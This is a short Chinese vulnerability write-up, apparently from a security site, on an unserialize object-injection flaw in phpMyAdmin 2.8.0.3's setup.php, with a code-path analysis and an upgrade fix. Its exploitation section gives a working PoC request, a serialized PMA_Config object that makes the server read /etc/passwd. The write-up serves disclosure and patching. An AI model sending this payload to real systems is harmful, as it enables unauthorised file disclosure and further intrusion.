## 0x00 概述
phpmyadmin存在漏洞的已知版本为 2.8.0.3 其余版本未知
本次测试的版本为2.8.0.3
许多内网的系统都在用这个版本,外网的也绝非少数!
![](https://images.seebug.org/1472094705297)
## 0x01 漏洞分析
看存在漏洞的文件代码
`/scripts/setup.php`
![](https://images.seebug.org/1472094718386)
把传入的`configuration`给反序列化,而这个`setup.php`中引入了`common.lib.php`
来到`common.lib.php`:
![](https://images.seebug.org/1472094724438)
`common.lib.php`中引入了`Config.class.php`:
再看看Config.class.php:
![](https://images.seebug.org/1472094730608)
继续看load方法:
![](https://images.seebug.org/1472094741718)
`Config.class.php`中含有`__wakeup`魔术方法,因此可以构造序列化参数,造成反序列化漏洞
所以整个思路就是:
```
setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval();
```
## 0x02 漏洞利用
PoC:
```
http://127.0.0.1/phpmyadmin2.8/scripts/setup.php
configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}&action=test
```
## 0x03 解决方案
- 用户:升级到官方最新版本
## 0x04 参考
* http://www.mottoin.com/87915.html
暂无评论